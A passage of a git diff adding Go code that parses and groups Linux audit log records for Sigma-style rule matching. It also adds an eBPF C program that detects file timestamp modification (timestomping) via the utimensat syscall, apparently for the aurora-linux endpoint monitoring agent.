*recordGrouper { + return &recordGrouper{} +} + +// AddLine adds a parsed line. Returns a completed record if the key changed, +// meaning the previous group is done. +func (g *recordGrouper) AddLine(line *auditLine) *auditRecord { + key := line.AuditID + + if g.hasCurrentKey && key != g.currentKey { + // Key changed — flush previous record + completed := g.buildRecord() + g.currentKey = key + g.hasCurrentKey = true + g.currentLines = []*auditLine{line} + return completed + } + + // Same key or first line + g.currentKey = key + g.hasCurrentKey = true + g.currentLines = append(g.currentLines, line) + return nil +} + +// Flush returns the remaining pending record (called at EOF). +func (g *recordGrouper) Flush() *auditRecord { + if !g.hasCurrentKey || len(g.currentLines) == 0 { + return nil + } + return g.buildRecord() +} + +func (g *recordGrouper) buildRecord() *auditRecord { + var ts time.Time + if len(g.currentLines) > 0 { + ts = auditTimestampToTime(g.currentLines[0].Timestamp) + } + rec := &auditRecord{ + Key: g.currentKey, + Timestamp: ts, + Lines: g.currentLines, + } + g.currentLines = nil + g.hasCurrentKey = false + return rec +} + +// auditTimestampToTime converts an audit epoch float to time.Time. +func auditTimestampToTime(ts float64) time.Time { + sec := int64(ts) + nsec := int64(math.Round((ts - float64(sec)) * 1e9)) + return time.Unix(sec, nsec) +} diff --git a/lib/provider/audit/mapper.go b/lib/provider/audit/mapper.go new file mode 100644 index 0000000..2a5c4b4 --- /dev/null +++ b/lib/provider/audit/mapper.go @@ -0,0 +1,110 @@ +package audit + +import ( + "strconv" + "strings" + + "github.com/Nextron-Labs/aurora-linux/lib/enrichment" + "github.com/Nextron-Labs/aurora-linux/lib/provider" +) + +// mapRecordToEvents converts a grouped audit record into one or more events. +// Each audit record type (SYSCALL, EXECVE, PATH, PROCTITLE, etc.) in the group +// produces one event. SYSCALL fields are merged into every event as context, +// since sigma rules commonly reference fields like "key" or "exe" alongside +// other record types. +func mapRecordToEvents(record *auditRecord) []*auditEvent { + // Find SYSCALL line (if any) — its fields are merged into all events. + var syscallFields map[string]string + var pid uint32 + for _, line := range record.Lines { + if line.RecordType == "SYSCALL" { + syscallFields = line.Fields + if pidStr, ok := line.Fields["pid"]; ok { + if n, err := strconv.ParseUint(pidStr, 10, 32); err == nil { + pid = uint32(n) + } + } + break + } + } + + var events []*auditEvent + for _, line := range record.Lines { + fields := buildRawFieldsMap(line, syscallFields) + + // If no pid from SYSCALL, try from this line + evtPid := pid + if evtPid == 0 { + if pidStr, ok := line.Fields["pid"]; ok { + if n, err := strconv.ParseUint(pidStr, 10, 32); err == nil { + evtPid = uint32(n) + } + } + } + + events = append(events, &auditEvent{ + id: provider.EventIdentifier{ + ProviderName: ProviderName, + EventID: EventIDAudit, + }, + pid: evtPid, + source: SourceAuditd, + ts: record.Timestamp, + fields: fields, + }) + } + + return events +} + +// buildRawFieldsMap creates a DataFieldsMap with raw audit fields. +// The "type" field is set to the record type (SYSCALL, EXECVE, PATH, etc.). +// If syscallFields is provided, those fields are merged in (without overwriting +// fields already present on this line). +func buildRawFieldsMap(line *auditLine, syscallFields map[string]string) enrichment.DataFieldsMap { + // Estimate capacity: line fields + syscall fields + type field + capacity := len(line.Fields) + 1 + if syscallFields != nil { + capacity += len(syscallFields) + } + fields := make(enrichment.DataFieldsMap, capacity) + + // Set record type + fields.AddField("type", line.RecordType) + + // Add all fields from the SYSCALL record as context (won't overwrite) + if syscallFields != nil && line.RecordType != "SYSCALL" { + for k, v := range syscallFields { + fields.AddField(k, v) + } + } + + // Add this record's own fields (overwrites SYSCALL fields if same key) + for k, v := range line.Fields { + // Decode hex-encoded fields (common in PROCTITLE, EXECVE) + if shouldDecodeHex(line.RecordType, k) { + v = decodeHexField(v) + } + fields.AddField(k, v) + } + + return fields +} + +// shouldDecodeHex returns true for fields that are commonly hex-encoded. +func shouldDecodeHex(recordType, key string) bool { + switch recordType { + case "PROCTITLE": + return key == "proctitle" + case "EXECVE": + // EXECVE args (a0, a1, ...) can be hex-encoded + return strings.HasPrefix(key, "a") && len(key) >= 2 && isDigit(key[1]) + } + return false +} + +func isDigit(b byte) bool { + return b >= '0' && b <= '9' +} + diff --git a/lib/provider/audit/parser.go b/lib/provider/audit/parser.go new file mode 100644 index 0000000..3d290b7 --- /dev/null +++ b/lib/provider/audit/parser.go @@ -0,0 +1,168 @@ +package audit + +import ( + "encoding/hex" + "fmt" + "strconv" + "strings" +) + +// auditLine represents one parsed line from an audit log. +type auditLine struct { + RecordType string // "SYSCALL", "CWD", "PATH", etc. + AuditID string // raw "TIMESTAMP:SERIAL" string for grouping + Timestamp float64 // epoch seconds (e.g. 1775057805.797) + Serial uint64 // serial number within that second + Fields map[string]string // all key=value pairs +} + +// parseLine parses a single audit log line into its components. +// Returns nil, nil for blank lines. Returns nil, error for malformed lines. +func parseLine(line string) (*auditLine, error) { + line = strings.TrimSpace(line) + if line == "" { + return nil, nil + } + + // Extract type=XXX + if !strings.HasPrefix(line, "type=") { + return nil, fmt.Errorf("line does not start with type=") + } + + spaceIdx := strings.IndexByte(line, ' ') + if spaceIdx < 0 { + return nil, fmt.Errorf("no space after type field") + } + recordType := line[len("type="):spaceIdx] + rest := line[spaceIdx+1:] + + // Extract msg=audit(TIMESTAMP:SERIAL): + auditID, ts, serial, afterMsg, err := parseAuditID(rest) + if err != nil { + return nil, err + } + + fields := parseKeyValuePairs(afterMsg) + + return &auditLine{ + RecordType: recordType, + AuditID: auditID, + Timestamp: ts, + Serial: serial, + Fields: fields, + }, nil +} + +// parseAuditID extracts timestamp and serial from "msg=audit(TIMESTAMP:SERIAL): rest". +// Returns the raw ID string, parsed timestamp, serial, and the remaining string. +func parseAuditID(s string) (string, float64, uint64, string, error) { + const prefix = "msg=audit(" + idx := strings.Index(s, prefix) + if idx < 0 { + return "", 0, 0, "", fmt.Errorf("missing msg=audit( header") + } + + after := s[idx+len(prefix):] + closeIdx := strings.IndexByte(after, ')') + if closeIdx < 0 { + return "", 0, 0, "", fmt.Errorf("missing closing parenthesis in audit ID") + } + + idStr := after[:closeIdx] // "1775057805.797:696" + colonIdx := strings.IndexByte(idStr, ':') + if colonIdx < 0 { + return "", 0, 0, "", fmt.Errorf("missing colon in audit ID %q", idStr) + } + + ts, err := strconv.ParseFloat(idStr[:colonIdx], 64) + if err != nil { + return "", 0, 0, "", fmt.Errorf("parsing audit timestamp %q: %w", idStr[:colonIdx], err) + } + + serial, err := strconv.ParseUint(idStr[colonIdx+1:], 10, 64) + if err != nil { + return "", 0, 0, "", fmt.Errorf("parsing audit serial %q: %w", idStr[colonIdx+1:], err) + } + + // The rest starts after "):" and optional space + rest := after[closeIdx+1:] + rest = strings.TrimLeft(rest, ": ") + + return idStr, ts, serial, rest, nil +} + +// parseKeyValuePairs parses the key=value portion of an audit line. +// Handles bare values, double-quoted values, and hex-encoded values. +func parseKeyValuePairs(raw string) map[string]string { + fields := make(map[string]string) + raw = strings.TrimSpace(raw) + + for len(raw) > 0 { + // Find key= + eqIdx := strings.IndexByte(raw, '=') + if eqIdx < 0 { + break + } + + key := raw[:eqIdx] + raw = raw[eqIdx+1:] + + var value string + if len(raw) > 0 && raw[0] == '"' { + // Quoted value: read until closing quote + endQuote := strings.IndexByte(raw[1:], '"') + if endQuote < 0 { + // No closing quote, take the rest + value = raw[1:] + raw = "" + } else { + value = raw[1 : endQuote+1] + raw = raw[endQuote+2:] + } + } else { + // Unquoted value: read until next space + spaceIdx := strings.IndexByte(raw, ' ') + if spaceIdx < 0 { + value = raw + raw = "" + } else { + value = raw[:spaceIdx] + raw = raw[spaceIdx+1:] + } + } + + raw = strings.TrimLeft(raw, " ") + fields[key] = value + } + + return fields +} + +// decodeHexField decodes a hex-encoded audit field value if it looks like hex. +// Returns the decoded string, or the original if it's not valid hex. +func decodeHexField(s string) string { + if len(s) == 0 || len(s)%2 != 0 { + return s + } + for _, c := range s { + if !isHexDigit(c) { + return s + } + } + decoded, err := hex.DecodeString(s) + if err != nil { + return s + } + // Replace NUL bytes with spaces (common in proctitle) + for i, b := range decoded { + if b == 0 { + decoded[i] = ' ' + } + } + return strings.TrimRight(string(decoded), " ") +} + +func isHexDigit(r rune) bool { + return (r >= '0' && r <= '9') || (r >= 'a' && r <= 'f') || (r >= 'A' && r <= 'F') +} + diff --git a/lib/provider/ebpf/bpf/filetime_monitor.c b/lib/provider/ebpf/bpf/filetime_monitor.c new file mode 100644 index 0000000..c8408d7 --- /dev/null +++ b/lib/provider/ebpf/bpf/filetime_monitor.c @@ -0,0 +1,181 @@ +// SPDX-License-Identifier: GPL-2.0 +// filetime_monitor.c — BPF programs for tracepoint/syscalls/sys_{enter,exit}_utimensat +// +// Detects file timestamp modification (timestomping). Pairs sys_enter_utimensat +// (capture filename, dirfd, new timestamps) with sys_exit_utimensat (check +// return value). Only successful calls are emitted. +// +// Maps to Sysmon Event ID 2 (FileCreateTime changed). + +//go:build ignore + +#include "vmlinux.h" +#include +#include + +#define MAX_FILENAME 256 + +// Special tv_nsec values defined in +#define UTIME_NOW 0x3FFFFFFF +#define UTIME_OMIT 0x3FFFFFFE + +// Kernel timespec used by utimensat(2). +struct bpf_timespec { + __s64 tv_sec; + __s64 tv_nsec; +}; + +// Temporary storage for in-flight utimensat calls, keyed by pid_tgid. +struct filetime_args { + char filename[MAX_FILENAME]; + __u32 filename_len; + __s32 dfd; + __s32 flags; + struct bpf_timespec new_atime; + struct bpf_timespec new_mtime; + __u8 times_null; // 1 if times pointer was NULL (set to current time) +}; + +struct filetime_event { + __u64 timestamp_ns; + __u32 pid; + __u32 uid; + __s32 dfd; + __s32 flags; + char filename[MAX_FILENAME]; + __u32 filename_len; + __s64 new_atime_sec; + __s64 new_atime_nsec; + __s64 new_mtime_sec; + __s64 new_mtime_nsec; + __u8 times_null; + __u8 pad[3]; +}; + +// Per-CPU hash to correlate enter/exit +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 10240); + __type(key, __u64); + __type(value, struct filetime_args); +} utimensat_args SEC(".maps"); + +// Ring buffer for filetime events +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 4 * 1024 * 1024); // 4 MB +} filetime_events SEC(".maps"); + +// Lost event counter +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, __u32); + __type(value, __u64); +} filetime_lost_events SEC(".maps"); + +// PIDs to exclude (Aurora itself). +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 64); + __type(key, __u32); + __type(value, __u8); +} self_pids SEC(".maps"); + +SEC("tracepoint/syscalls/sys_enter_utimensat") +int trace_sys_enter_utimensat(struct trace_event_raw_sys_enter *ctx) { + __u64 pid_tgid = bpf_get_current_pid_tgid(); + __u32 pid = pid_tgid >> 32; + if (bpf_map_lookup_elem(&self_pids, &pid)) + return 0; + + // utimensat args: dfd(0), filename(1), utimes(2), flags(3) + struct filetime_args args = {}; + args.dfd = (int)ctx->args[0]; + args.flags = (int)ctx->args[3]; + + // Read filename from userspace + const char *fname = (const char *)ctx->args[1]; + if (fname) { + int ret = bpf_probe_read_user_str(args.filename, sizeof(args.filename), fname); + if (ret <= 0) + return 0; // can't read filename, skip + args.filename_len = ret; + } else { + // NULL filename means operate on dirfd itself (futimens-like) + args.filename[0] = '\0'; + args.filename_len = 0; + } + + // Read the new timestamps from userspace + const void *utimes = (const void *)ctx->args[2]; + if (utimes) { + struct bpf_timespec ts[2] = {}; + int ret = bpf_probe_read_user(ts, sizeof(ts), utimes); + if (ret == 0) { + args.new_atime = ts[0]; + args.new_mtime = ts[1]; + } + args.times_null = 0; + } else { + // NULL times = set both to current time + args.times_null = 1; + } + + bpf_map_update_elem(&utimensat_args, &pid_tgid, &args, BPF_ANY); + return 0; +} + +SEC("tracepoint/syscalls/sys_exit_utimensat") +int trace_sys_exit_utimensat(struct trace_event_raw_sys_exit *ctx) { + __u64 pid_tgid = bpf_get_current_pid_tgid(); + __u32 pid = pid_tgid >> 32; + if (bpf_map_lookup_elem(&self_pids, &pid)) + return 0; + + struct filetime_args *args = bpf_map_lookup_elem(&utimensat_args, &pid_tgid); + if (!args) + return 0; + + // Copy and clean up immediately + struct filetime_args saved = *args; + bpf_map_delete_elem(&utimensat_args, &pid_tgid); + + // Check return value: negative = failed + long retval = ctx->ret; + if (retval < 0) + return 0; + + // Reserve ring buffer space + struct filetime_event *evt = bpf_ringbuf_reserve(&filetime_events, sizeof(*evt), 0); + if (!evt) { + __u32 key = 0; + __u64 *count = bpf_map_lookup_elem(&filetime_lost_events, &key); + if (count) + __sync_fetch_and_add(count, 1); + return 0; + } + + evt->timestamp_ns = bpf_ktime_get_ns(); + evt->pid = pid; + + __u64 uid_gid = bpf_get_current_uid_gid(); + evt->uid = uid_gid & 0xFFFFFFFF; + + evt->dfd = saved.dfd; + evt->flags = saved.flags; + + __builtin_memcpy(evt->filename, saved.filename, MAX_FILENAME); + evt->filename_len = saved.filename_len; + + evt->new_atime_sec = saved.new_atime.tv_sec; + evt->new_atime_nsec = saved.new_atime.tv_nsec; + evt->new_mtime_sec = saved.new_mtime.tv_sec; + evt->new_mtime_nsec = saved.new_mtime.tv_nsec; + evt->times_null = saved.times_null; + + bpf_ringbuf_submit(evt, 0); + return 0; +} + +char LICENSE[] SEC("license") = "GPL";